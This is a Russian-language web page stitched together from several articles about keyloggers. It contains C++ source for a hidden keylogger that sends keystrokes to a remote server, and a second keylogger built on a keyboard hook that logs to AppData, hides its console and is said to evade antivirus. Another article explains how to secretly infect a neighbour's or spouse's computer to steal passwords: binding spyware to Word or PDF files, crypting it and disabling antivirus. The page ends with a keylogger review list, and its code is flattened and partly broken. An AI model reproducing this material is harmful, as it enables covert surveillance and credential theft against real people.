Тарифы Услуги Сим-карты

Программа для программирования кейлоггеров.              Лаборатория информационной безопасности. Создание простого кейлоггера на Python


А прежде чем приступить к прочтению - загляни в мой бложик, там я публикую свои авторские статьи по программированию, вирусологии и прочим интересным вещам
Оригинал статьи -

Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.


Предисловие
На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.

В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - * * , пофиксил баги и доработал под взаимодействие с WinSocket.

Материалы
  • Visual Studio 2015 Community Update 4
  • Visual C++ 2015
Структура приложения
Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
Исходя из выбора, нам нужно будет сделать 2 приложения:

Сервер
  • Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
Клиент
  • Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
И начнем мы, пожалуй, с сервера.

Сервер
Создаем консольное C++ приложение в Visual Studio.
Весь код есть в оф. примере MSDN - *Войдите на форум для просмотра ссылок. *
Нам лишь нужно заменить некоторые значения в нем...
Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи

Код:

#define DEFAULT_BUFLEN 1024 //Буффер #define DEFAULT_PORT "1337" //Порт

Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:

Код:

Do { ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог if (iResult > 0) //Если лог не пустой printf("%s", recvbuf); //Выводим closesocket(ClientSocket);//Закрываем соединение memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память } while (true);

Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем

Клиент


Создаем приложение Win32 в Visual Studio.
Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с *Войдите на форум для просмотра ссылок. *
Чтоб прикрутить отправку нажатия на сокет я обратился к *Войдите на форум для просмотра ссылок. *
Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт

Код:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:

Код:

WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char lastwindow; int Save(int key_stroke);// Убрал второй аргумент

Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:

Код:

Void sendData(char *ip, char * port, char*data)

В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу:

Код:

Char data; sprintf(data, "\n\n\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, data);

Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:

Код:

Char c; sprintf(c, "%c", key_stroke); sendData(SERVER_IP, SERVER_PORT, c);

Вырезаем все что связано с видимостью окна из кода, и, готово.

Итог
При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).

Привет всем!

Идея написания кейлоггера у меня появилась давно, в начале я писал на ассемблере, но не доделал до конца, получилось что он очень глючил, но т.к. работы было много, а комерсом я не занимаюсь, стимул быстро пропал...

Шло время, я про эту тематику как-то забил, пока мне не попалась на глаза статья, атаки на банковскую систему, при помощи простенького кейлогера и вполне легальной программы, вероятно для пересылки логов и обхода файерволов...

Мне стало интересно, а как сложно "Программисту средней руки", к коим я себя отношу написать простенький кейлогер, как он будет палится аверами и сколько времени на это потребуется!

Идея создания такой темы/раздела появилась уже потом, когда я почти закончил этот кейлоггер.

Но обо всём попарядку, итак ответы на вопросы моего мини-исследования:

1. На момент написания статьи кейлоггер обнаруживает какой-то Endgame, и-то если поиграть с Relise/Debug и настройками компилирования, детекты пропадают;

2. Кейлогер отлично работает с UAC, практически не палит себя, т.е. вы никак не поймёте, что ваши клавиши пишутся в лог.

3. Антивирусы никак не реагируют, т.е. считают что так и надо.

4.Сколько-же время на это ушло?

Около 5-ти часов, но это нужно учитывать, что опыта работы в студии у меня нет, пришлось разбираться с кодировкой символов, хуками и т.д. Больше гемора с кодировкой конечно было...

Итак перейдём к основной части этой статьи:

1.Постановка задачи:

Написать кейлоггер локального действия, который может отслеживать нажатия клавиш и записывать их в лог, также нужно в логе указать дату нажатия и окно приложения где было нажата клавиша, кейлогер должен работать с русской и английской раскладкой. Также кейлогер должен работать с ограниченными правами в системе и никак не выдавать себя, пример лога:

Безымянный - Блокнот: English: M: Fri May 12 20:38:39 2017
Безымянный - Блокнот: English: ,: Fri May 12 20:38:41 2017

Безымянный - Блокнот: Russian: : : Fri May 12 20:38:48 2017
Безымянный - Блокнот: Russian: : Р: Fri May 12 20:38:48 2017
Безымянный - Блокнот: Russian: : И: Fri May 12 20:38:48 2017
Безымянный - Блокнот: Russian: : е: Fri May 12 20:38:50 2017

2.Основная идея написания таких программ:

Не важно на чём вы хотите писать, основная идея, это поставить hook, если по простому, то это "ловушка" для клавиатуры, смысл в том-что при нажатии пользователем на клавишу, ваша программа будет выполнять вашу функцию (подпрограмму), где вы можете уже определить нажатую клавишу, записать её в лог и т.д.

В виндовсе есть SetWindowsHookEx , которая устанавливает определяемую программой процедуру фильтра (hook) в цепочку фильтров (hook). Вы должны установить процедуру фильтра (hook) для того, чтобы контролировать в системе определенного рода типы событий. Эти события связаны или с конкретным потоком или со всеми потоками одного и того же рабочего стола, что и вызывающий поток.

Обратите внимание на последнее предложения, благодаря этого свойства, мы можем отследить все нажатия клавиш, в других приложений.

Как это сделать, пример:

Int main(int argc, _TCHAR* argv) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); msgLoop(); return 0; }

HookProc - Это наша подпрограмма (Которая будет вызываться после нажатия пользователем на клавишу), которую мы позже напишем.

MsgLoop() - Тоже очень важная вещь, там цикл, если по простому то программа зациклица и будет постоянно вызывать hookProc когда пользователь нажмёт на клавишу, вот её код:

Void msgLoop() { while (GetMessage(&message, NULL, 0, 0)) { TranslateMessage(&message); DispatchMessage(&message); } }

Функция GetMessage извлекает сообщение из очереди сообщений вызывающего потока и помещает его в заданную структуру. Эта функция регулирует поступление отправленных сообщений до тех пор, пока помещенное в очередь сообщение доступно для извлечения.

Функция TranslateMessage переводит сообщения виртуальных клавиш в символьные сообщения.

Функция DispatchMessage распределяет сообщение оконной процедуре. Она используется, чтобы доставить сообщение, извлеченное функцией GetMessage .

Теперь приступим к написанию нашей основной функции (подпрограммы), которая вызовится, после нажатия на кнопку пользователем:

Спойлер: hookProc (Код на С++)

LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (wParam == WM_KEYDOWN) { HKL Lang_Keyboard; GetActiveKb (Lang_Keyboard); //Получение текущей раскладки. int CodeKeyboard = (int) Lang_Keyboard; p = (PKBDLLHOOKSTRUCT)(lParam); sc = MapVirtualKey(p->vkCode, 0); sc <<= 16; if (!(p->vkCode <= 32)) { sc |= 0x1 << 24; } GetKeyNameTextA(sc, keyNameBuff, 16); myKey = keyNameBuff; if (myKey == "Space") { writeToLog(""); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } else { if (CodeKeyboard == 0x4190419) { //Русская раскладка //************************************************************************************************* if (isCaps() == 1) { myKey = GetSymbolRu (myKey); writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); myKey = GetSymbolRu (myKey); writeToLog(myKey); } //************************************************************************************************* } else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } } return CallNextHookEx(NULL, nCode, wParam, lParam); }


Расскажу идею, саму программу можете посмотреть во вложении:

1.Начнём с прототипа нашей подпрограммы:

LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)

WParam - Определяет нажата-ли клавиша, поэтому перед тем как что-то делать, мы проверяем нажата-ли клавиша так:

2.1. Получить раскладку клавиатуры;
2.2. Получить виртуальный код клавиатуры, по нему мы сможем уже определить что конкретно нажал пользователь;
2.3. Ну в общем получить наш символ.

Всё выше названное делает этот код:

HKL Lang_Keyboard; GetActiveKb (Lang_Keyboard); //Получение текущей раскладки. int CodeKeyboard = (int) Lang_Keyboard; p = (PKBDLLHOOKSTRUCT)(lParam); sc = MapVirtualKey(p->vkCode, 0); sc <<= 16; if (!(p->vkCode <= 32)) { sc |= 0x1 << 24; } GetKeyNameTextA(sc, keyNameBuff, 16);

GetKeyNameTextA - Поместит название клавиши в буфер keyNameBuff.

Имя программы, с которой работает пользователь, можно получить так:

GetWindowTextA(hwnd, title, 100); GetWindowTextA(hwnd, ntitle, 100); ///pars

Время так:

// Gettime time_t seconds = time(NULL); tm* timeinfo = localtime(&seconds);

Ofstream log(logName, ios::app); log << title; log << ": English"; log << ": " << s; log << ": " << asctime(timeinfo) << endl;

logName - Путь куда будет писаться файл логов, я использую стандартный вывод в поток ofstream, писаться может например в AppData (Туда и пишет), получить путь примерно так:

Strcpy(logName, getenv("APPDATA")); // Get APPDATA folder strcat(logName, "log.log");

НО ЭТО ЕЩЁ НЕ ВСЁ, ТЕПЕРЬ САМОЕ ИНТЕРЕСНОЕ, А ИМЕННО GetKeyNameTextA - РАБОТАЕТ ТОЛЬКО С СИМВОЛАМИ ЛАТИНСКОЙ РАСКЛАДКИ, КАК-ЖЕ СДЕЛАТЬ ПОДДЕРЖКУ КИРИЛИЦЫ?

Можно сделать следующий костыль, просто сопоставить кирилицу и латиницу, примерно так:

String _eng = "1234567890~!@#$%^&qwertyuiopasdfghjkl;"zxcvbnm,./QWERTYUIOPASDFGHJKL:\"|ZXCVBNM<>?"; char _rus = "1234567890ё!\"№;%:?йцукенгшщзхъфывапролджэячсмитьбю.ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭ/ЯЧСМИТЬБЮ,";

Номер символа строки _eng соответствует номеру символа _rus, следовательно если мы найдём номер символа _eng, то определим и _rus, тем самым у нас будет кирилица, как это реализовать на примере:

String GetSymbolRu (string Key) { int Number = 0; string Rezult; Number = _eng.find(Key); if (Number != -1) { char * tmp = new char ; // инициализируем дополнительный массив CharToOemA(_rus88, tmp); // преобразовываем delete tmp; // удаляем дополнительный массив Rezult = Rezult + _rus88; return Rezult; // Присвоили результат } else { return Key; } }

Итак, находим номер в _eng (Number = _eng.find(Key);), далее по этому номеру уже можем получить символ в кирилице...:)

НО ПАРА МОМЕНТОВ:

Си в принципе не дружит с кирилицей, а Visual Studio особенно, поэтому что-бы всё было чётенько, ещё один кастыльчик от меня:

Char * tmp = new char ; // инициализируем дополнительный массив CharToOemA(_rus88, tmp); // преобразовываем delete tmp; // удаляем дополнительный массив

Преобразовываем строку с кирилицей, для этого выделяем буфер в памяти и юзаем CharToOemA(_rus88, tmp);, всё теперь наша строка будет нормально писаться в файл и выводится на консоль, не забывайте удалить из памяти delete tmp; потом...:)

If (CodeKeyboard == 0x4190419) { //Russia log << title; log << ": Russian"; log << ": " << ReplaceResult(s); log << ":^^^ " << s; log << ": " << asctime(timeinfo) << endl; } else if (CodeKeyboard == 0x4090409) { //Eng log << title; log << ": English"; log << ": " << s; log << ": " << asctime(timeinfo) << endl; }

Ну нужно конечно ещё будет определить доп. клавиши, такие как пробел, ентер и т.д., примерно так:

If (myKey == "Space") { writeToLog(""); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog("");

Вроде всё основное, исходник есть во вложении, должно-быть понятно думаю...:)

Ах-да чуть не забыл:

1. Запуск налюбом компе в Visual Studio 2010 (Увеличит размер бинарника, но лучше сделать):

(Проэкт) -> (Свойства) -> (Свойства конфигурации) -> (С/С++) -> (Создание Кода) -> (Библиотека временного выполнения) -> (Многопоточная /МТ) и далее "ОК";

(Project) -> (Properties) -> (C/C++) -> (Code Generation) -> (Runtime Library) -> (Multi-threaded(/MT)) -> Ok

2. Я использовал консольный проект, так легче дебажить, поэтому ещё:

Как убрать консоль:

Жмем Project => Properties (или Alt+F7 ).

Затем Linker => Advanced и вбиваем в Entery Point следующее: mainCRTStartup .

Просто голые сорцы (Там их два), для копипасты и анализа.

ЕЩЁ ПАРА ВОПРОСОВ ПО КЕЙЛОГЕРУ:

1)Нужно-ли его развивать, сейчас там вот-что:

Поддержка латиницы/кирилицы, но не всех символов, если решу развивать, это поправлю;

В логи пишется небольшой мусор (Не нужно учитывать клавиши, которые помечены символом "/"), это можно убрать.

Можно добавить поддержку скриншётера.

2) В общем отпишитесь, нужно-ли развивать далее это, кстати Relise залили на VT, но это не страшно и специально, можно потом продолжить по обходу детекта поработать и как и через колько будет-ли детект у других.

УБЕДИТЕЛЬНАЯ ПРОСЬБА, ЕСЛИ ВОЗМОЖНО ОТПИШИТЕСЬ, ЕСЛИ СМЫСЛ ДАЛЬШЕ СОЗДАВАТЬ ПОДОБНЫЕ ТЕМЫ И РАЗВИВАТЬ ПОДОБНЫЕ ПРОДУКТЫ ТУТ! :)

Кто из нас не хотел почувствовать себя хоть раз кул-хакером и сломать хотя бы что-нибудь? :) Если даже и нет, то уж о том, как было бы здорово заполучить пароль от почты / соц. сети друга, жены / мужа, соседа по комнате думал хотя бы однажды каждый. :) Да и надо же с чего-то начинать, в конце-то концов! Существенная часть атак (взломов) включает в себя заражение компьютера жертвы так называемыми кейлоггерами (spyware).

Итак, в сегодняшней статье поговорим о том, какие есть бесплатные программы для слежения за компьютерами на базе windows , где можно скачать их полные версии, как заразить ими компьютер жертвы и в чём особенности их использования.

Но вначале небольшое введение.

Что такое и зачем нужны кейлоггеры?

О том, что это такое, думаю, Вы догадались и сами. Как правило, они представляют собой некую программу, которая скрыто (хотя это не всегда так) устанавливается на компьютер жертвы, после чего фиксирует абсолютно все нажатия на клавиатуре на данным узле. При этом помимо самих по себе нажатия обычно фиксируется: дата-время нажатия (действия) и программа, в которой эти действия были выполнены (браузер, в том числе адрес сайта (ура, сразу видим, от чего пароли!); локальное приложение; системные службы (в т.ч. пароли входа в windows) и т.д.).

Отсюда сразу видна одна из проблем: я заполучио на пару минут доступ к компьютеру своей соседки и хочу заполучить её пароль от ВК! Установил чудо-программку и вернул комп. Как же мне потом смотреть пароли? Снова искать способ забрать у неё комп? Есть приятная новость: как правило, нет. Большинство кейлоггеров способно не только хранить всю накопленную базу действий локально, но ещё и пересылать её удалённо. Вариантов отправки логов существует масса:

  • Фикситрованный e-mail (может быть несколько) - самый удобный вариант;
  • FTP-сервер (у кого он есть);
  • SMB-сервер (экзотика, да и не очень удобно).
  • Фиксированная флешка (вставляешь её в USB-порт компьютера жертвы, и все логи копируются туда автоматически в невидимом режиме!).

Зачем же всё это нужно? Думаю, ответ очевиден. Помимо банальной кражи паролей, некоторые кейлоггеры умеют ещё ряд приятный вещей:

  • Логирование переписки в заданных соц. сетях или мессенджерах (напр, Skype).
  • Съёмка скриншотов экрана.
  • Просмотр / съемка данных с веб-камеры (что может быть очень интересно).

Как использовать кейлоггеры?

А это вопрос непростой. Надо понимать, что просто найти удобный функциональный хороший кейлоггер мало.

Итак, что же нужно для успешной работы программы-шпиона :

  • Администраторский доступ к удалённому компьютеру.
    При чём это совсем не обязательно именно физический доступ. Вы вполне можете зайти туда через RDP (службу Удалённого рабочего стола); TeamViewer; AmmyAdmin и т.д.
    Как правило, с этим пунктом связаны самые большие сложности. Однако же я недавно писал статью о том, как получить права администратора в Windows .
  • Анонимный e-mail / ftp (по которому Вас не вычислят).
    Конечно, если Вы ломаете соседу тётю Шуру, этот пункт можно смело опустить. Как и в случае, если у Вас компьютер жертвы всегда под рукой (аля, узнать пароли брата / сестры).
  • Отсутствие рабочих антивирусов / внутренних систем защиты Windows.
    Большинство публичных кейлоггеров (о которых и пойдёт речь ниже) известны подавляющему большинству антивирусного ПО (хотя есть такие вирусы-логгеры, которые встраиваются в ядро ОС или системный драйвер, и антивирусы уже не могут их ни обнаружить, ни уничтожить, если даже обнаружили). В силу вышесказанного, антивирусное ПО, если таковое имеется, придётся безжалотсно уничтожить. Кроме антивирусов, опасность для нашей программы-шпиона представляют также системы типа Защитник Windows (таковые впервые появились в Windows 7 и далее). Они отлавливают подозрительную активность работающего на компьютере ПО. О том, как же от них избавиться можно без труда найти в гугле.

Вот, пожалуй, и все необходимые и достаточные условия Вашего успеха на поприще кражи чужих паролей / переписок / фото или на что там ещё Вам заблагорассудится посягнуть.

Какие бывают программы-шпионы и где их скачать?

Итак, начнём обзор основных кейлоггеров, которые мне довелось использовать в своей повседневной практике со ссылками на бесплатное скачивание их полных версий (т.е. все версии последние на текущий момент (для которых реально найти лекарство) и с уже рабочими и испытанными кряками).

0. The Rat!

Оценки (из 10) :

  • Скрытность: 10
  • Удобство / юзабилити: 9
  • Функциональность: 8

Это просто бомба, а не кейлоггер! В рабочем состоянии занимает 15-20 КБ. Чего удивляться: он целиком написан на ассемблере (ветераны-программисты прослезились) и написан по большей части энтузиастами-хакерами, за счёт чего уровень его скрытности просто поражает воображение: работает он на уровне ядра ОС!

Кроме того, в комлект поставки входит FileConnector - мини-программа, позволяющая склеить данный кейлоггер с абсолютно любой прогой. В результате Вы получаете новый exe-шник практически того же размера, и работающий при запуске ровно так, как та програ, с которой Вы его склеили! Но после первого запуска Ваш кейлоггер будет автоматически установлен в невидимом режиме с заранее заданными Вами параметрами отсылки логов. Удобно, не правда ли?

Прекрасная возможность для социальной инженерии (приносите другу на флешке файл-игру / презентацию, да можно даже просто документ ворд (о том, как создать exe-ик, запускающий конкретный word/excel-файл расскажу в одной из следующий своих статей), запускаете, всё хорошо и прекрасно, однако же друг невидимо уже заражён!). Либо же просто шлёте этот файлик другу по почте (лучше ссылку на его скачивание, т.к. современные почтовые сервера запрещают отправку exe-файлов). Конечно, риск от антивирусов при установке всё же имеет место быть (зато его не будет после установки).

Кстати, при помощи некоторых других приёмов можно склеить любой дистрибутив скрытой установки (таковые есть в The Rat! и в Elite keylogger) не только с exe-файлами (которые у мало мальски продвинутых пользователей всё же вызывают подозрения), но и с обычными word / excel и даже pdf-файлами! Уж на простую pdf-ку никто никогда ничего не подумает, но не тут-то было! :) Как это делается - тема целой отдельной статьи. Особо ретивые могут написать мне вопросы через форму обратной связи. ;)

В общем, The Rat! можно описывать очень долго и много. Куда лучше меня это сделано вот . Там же есть и ссылка на скачивание.

1. Elite keylogger

Оценки (из 10) :

  • Скрытность: 10
  • Удобство / юзабилити: 9
  • Функциональность: 8

Пожалуй, один из лучших когда-либо созданных кейлоггеров. В число его возможностей, помимо стандартного набора (перехват всех нажатий в контексте приложений / окон / сайтов), входит перехват сообщений мессенджеров, снимки с веб-камеры, а также - что ОЧЕНЬ важно! - перехват паролей службы WinLogon. Иными словами, он перехватывает пароли входа в Windows (включая доменные!). Это стало возможным благодаря его работе на уровне системного драйвера и запуску ещё на этапе загрузки ОС. В силу этой же особенности, данная программка остаётся абсолютно невидимой и для Каспероского, и для всего прочего анти-вредоносного ПО. Признаться, я не встречал ни одного кейлоггера, способного на такое.

Однако же не стоит обольщаться слишком уж сильно. Сам инсталлер распознаётся антивирусами очень легко и для его установки потребуются и админовские права и отключение всех антивирусных служб и сервисов. После установки всё будет работать идеально в любом случае.

Кроме того, описанная особенность (работа на уровне ядра ОС) вносит требования по версия ОС, на которых кейлоггеров будет работать. Версия 5-5.3 (ссылки на которую приведены чуть ниже) поддерживает всё до Windows 7, включительно. Win 8 / 10, а также windows семейства server (2003 / 2008 / 2012) уже не поддерживаются. Есть версия 6, прекрасно функционирующая в т.ч. на win 8 и 10, однако найти крякнутую версию на текущий момент не представляется возможным. Вероятно, в будущем она появится. А пока же скачать Elite keylogger 5.3 можно по ссылке выше.

Нет режима сетевой работы, посему для использования работодателями (для слежения за компьютерами своих сотрудников) или целой группы лиц не подойдёт.

Важным моментом является возможность создания установочного дистрибутива с предзаданными настройками (к примеру, с заданным адресом почты, куда нужно будет слать логи). При этом на выходе Вы получаете дистрибутив, которые при запуске не выдаёт абсолютно никаких предупреждений или окон, а после установки может даже уничтожить себя сам (если отметить соответствующую опцию).

Несколько скринов 5-ой версии (дабы показать, на сколько всё красиво и удобно):

2. All-in-one keylogger.

Оценки (из 10) :

  • Скрытность: 3
  • Удобство / юзабилити: 9
  • Функциональность: 8

Также весьма и весьма удобная штуковина. Функционал вполне себе на уровне Elite keylogger-а. Вот со скрытностью дела по-хуже. Winlogon-пароли уже не перехыватываются, драйвером он не является, в ядро не встраивается. Однако же устанавливается в системные и скрытые AppData-директории, до которых не так легко добраться посторонним пользователям (не тем, от имени которых он установлен). Тем не менее антивирусы рано или поздно с успехом это делают, что делает эту вещь не особенно-то надёжной и безопасной при использовании, к примеру, у вас на работе для слежки за собственным начальством. ;) Склеить с чем-нибудь или же закриптовать код для сокрытия от антивирусов не получится.

Работает на любых версиях ОС Win (что приятно и практично).

Что же касается остального, всё прекрасно: логирует всё (кроме паролей на вход в Windows), пересылает куда угодно (включая e-mail, ftp, фиксированную флешку). По удобство также всё прекрасно.

3. Spytech SpyAgent.

Оценки (из 10) :

  • Скрытность: 4
  • Удобство / юзабилити: 8
  • Функциональность: 10

Также неплохой кейлоггер, хотя и с сомнительной скрытностью. Поддерживаемые версии ОС также все возможные. Функционал схож с предыдущими вариантами. Есть интересная функция самоуничтожения после заданного периода времени (либо по достижении заранее заданной даты).

Кроме того, возможна запись видео с веб-камеры и звука из микрофона, что также может быть очень востребовано и чего нет у предыдущих двух представителей.

Есть сетевой режим работы, что удобно для слежения за целой сетью компьютеров. Он же, кстати, есть у StaffCop (в обзор не включён по причине бесполезности для одного пользователя - физ. лица). Пожалуй, эта программа идеально подойдёт работодателям для слежки за своими сотрудниками (хотя лидер в этом поприще безоговорочно StaffCop и LanAgent - если Вы - юр. лицо, обязательно посмотрите в их сторону). Либо же для слежения за Вашим потомством, любящим посидеть за просмотром "сайтов для взрослых". Т.е. там, где нужна более не скрытость, а удобство (в т.ч. куча красивых журналов-отчётов и т.д.) и функционал блокировки заданных сайтов / программ (в SpyAgent он также имеется).

4. Spyrix Personal monitor.

Оценки (из 10) :

  • Скрытность: 4
  • Удобство / юзабилити: 6
  • Функциональность: 10

Функционал на уровне предыдущего кандидата, однако те же проблемы со скрытностью. Кроме того, в функционал входит интересная вещь: копирование файлов со вставляемых в компьютер USB-носителей, а также удалённый просмотр логов через веб-аккаунт на сайте Spyrix (но мы же собираемся скачать крякнутую версию, посему оно для нас работать не будет).

5. Spyrix Personal monitor.

Оценки (из 10) :

  • Скрытность: 3
  • Удобство / юзабилити: 6
  • Функциональность: 8

Подробно описывать не буду, т.к. данный экземпляр не имеет ничего из того, чего бы не было у одного из предыдущих шпионов, однако же кому-то данный кейлоггер может прийтись по душе (как минимум, своим интерфейсом).

Что имеем в итоге?

Вопрос использования кейлоггера в большей мере этический, чем технический, и он сильно зависит от Ваших целей.

Если Вы - работодатель, желающий контролировать своих сотрудников, смело ставьте StaffCop, собирайте со всех сотрудников письменные разрешения на таковые действа (иначе за такие дела Вас могут неслабо привлечь) и дело в шляпе. Хотя я лично знаю и более эффективные способы повышения работоспособности своих сотрудников.

Если же Вы - начинающий IT-специалист, желающий просто испытать, каково оно - кого-то поломать - и как вообще это дело работает, то вооружайтесь методами социальной инженерии и проводите испытания на своих друзьях, используя любой из приведённых примеров. Однако же помните: выявление такой активности жертвами отнюдь не способствует дружбе и долголетию. ;) И уж точно не стоит проверять это на своей работе. Попомните мои слова: у меня в этом есть опыт. ;)

Если же Ваша цель - прошпионить за подругой, мужем, соседом, а может, и вовсе делаете это регулярно и за деньги, хорошо подумайте, стоит ли. Ведь рано или поздно могут привлечь. Да и не стоит оно того: "рыться в чужом грязном белье - удовольствие не из приятных". Если всё же надо (а может, Вы работаете в сфере расследования компьютерных преступлений и такие задачи входят в Ваши профессиональные обязанности), то варианта только два: The Rat! и Elite Keylogger. В режиме скрытых установочных дистрибутивов, склеенных с word / excel / pdf. И лучше, по возможности, закриптованных свежим криптором. Только в этом случае можно гарантировать более менее безопасную деятельность и реальных успех.

Но в любом случае стоит помнить, что грамотное применение кейлоггеров - это лишь одно маленькое звено в достижении цели (в т.ч. даже простой атаки). Не всегда есть админовские права, не всегда есть физический доступ и не все юзеры будут открывать, читать и уж тем более качать Ваши вложения / ссылки (привет соц. инженерии), не всегда будет отключён антивирус / Ваш кейлоггер / криптор не всегда будет ему неизвестен. Все эти и многие из несказанных проблем решаемы, но их решение - тема целой серии отдельных статей.

Словом, Вы только начали погружаться в сложный, опасный, но безумно интересный мир информационной безопасности. :)

С уважением, Лысяк А.С.

Различные шпионские программы бывают необходимы в условиях, когда к одному компьютеру имеют доступ много людей.

В этих условиях пользователь может захотеть узнать, какие сайты посещались с его компьютера (например, детьми), не происходило ли воровство с кредитных карт с помощью сохраненных паролей и т. д. для прояснения этих вопросов и потребуется .

Наш обзор позволит вам сделать оптимальный выбор.

Особенности выбора

Что же такое по своей сути клавиатурный шпион? Это программа, которая, строго говоря, напрямую никак не связана с клавиатурой.

Она устанавливается в память компьютера и действует на . Часто признаков ее деятельности не видно на компьютере, если не искать их целенаправленно.

Такая программа косвенно взаимодействует с клавиатурой, то есть работает с программой на ПК, которая преобразует сигналы, поступающие на процессор в результате нажатия кнопок, в текст при печати.

То есть, направлено действие такого софта на сбор информации, вводимой через клавиатуру.

Такие утилиты бывают разного типа – с помощью некоторых можно просмотреть весь набранный с клавиатуры текст, с помощью других – только тот, что был набран в браузере или в каком либо выбранном приложении.

Некоторые программы предоставляют возможность настройки таких показателей, другие нет.

Также они отличаются друг от друга по степени скрытности. Например, деятельность одних очевидна, на Рабочем столе остается ярлык и т. д., такие программы подойдут для контроля деятельности, например, детей.

Следы присутствия и деятельности других не заметны вовсе – они действуют скрыто и подойдут для установки на чужой компьютер, когда факт установки необходимо скрыть от стороннего пользователя.

Учитывая такое разнообразие, выбрать максимально подходящий софт может быть достаточно сложно.

В данном материале представлен ТОП лучших программ, которые можно использовать для этой цели. Среди них проще выбрать подходящую.

Технические характеристики

Для упрощения процесса выбора программного обеспечения в таблице, размещенной ниже, приведены основные сравнительные характеристики всех программ, включенных в ТОП.

Название Тип лицензии Тип собираемой информации Функционал Дизайн
SC-KeyLog Бесплатно Вся Широкий Упрощенный
WideStep Handy Keylogger Бесплатно/Платно Вся Широкий Улучшенный
Actual Spy Платно Вся Очень широкий Стандартный
EliteKeylogger Платно Вся Широкий Стандартный
The Rat! Бесплатно/Платно Меньше, чем в предыдущих Довольно широкий Неэстетичный
SPYGO Бесплатно В зависимости от версии В зависимости от версии Стандартное оформление Windows
Ardamax Keylogger 2.9 Бесплатно С клавиатуры Суженный Упрощенный
NS Keylogger Personal Monitor 3.8 Бесплатно Вся Суженный Упрощенный
KGB Spy Платно С клавиатуры+ открытые программы Узкий Простой
Golden Keylogger 1.32 Бесплатно С клавиатуры Очень узкий Простой

Основываясь на характеристиках из этой таблицы легко выбрать максимально подходящую под конкретные требования программу.

Подробнее об этих утилитах же рассказано ниже.

SC-KeyLog

Это объемная и функциональная программа шпион, которая распространяется бесплатно.

Помимо отслеживания конкретно информации вводимой с клавиатуры, в состоянии также собирать , адресах посещенных сайтов, паролях, открытых окнах в браузере.

Дает полную информацию обо всех действиях, производимых на компьютере. При этом формируемый файл можно просмотреть удаленно с другого устройства.

  • Возможность удаленного доступа к файлу с другого устройства;
  • Отсутствие следов деятельности программы на компьютере при правильных настройках;
  • Разнообразие собираемых данных – практически информация обо всех действиях на ПК может быть доступна.
  • Сохраняет пароли только не выше NT0;
  • Слишком простое меню и неэстетичный дизайн;
  • Достаточно неудобный формат отображения результата.

А что же говорят пользователи, которые активно применяют этот софт? «Абсолютна незаметна для пользователя», «Данные исправно приходят на почту».

WideStep Handy Keylogger

Это приложение распространяется условно бесплатно. Цена полной платной версии составляет 35 долларов.

Довольно интересная и функциональная программа, которая стоит своих денег, если вы готовы их заплатить.

Отличительная черта – способность отправлять записанные данные на с указанной периодичностью. В остальном работает нормально, часто, стабильнее других программ из этого списка.

  • Сбор информации различных типов;
  • Полная невидимость работы на компьютере пользователя;
  • Простой интерфейс и управление.
  • Дизайн лучше, чем в предыдущей программе, но все равно не на высоте;
  • Формат отображения результата неудобный;
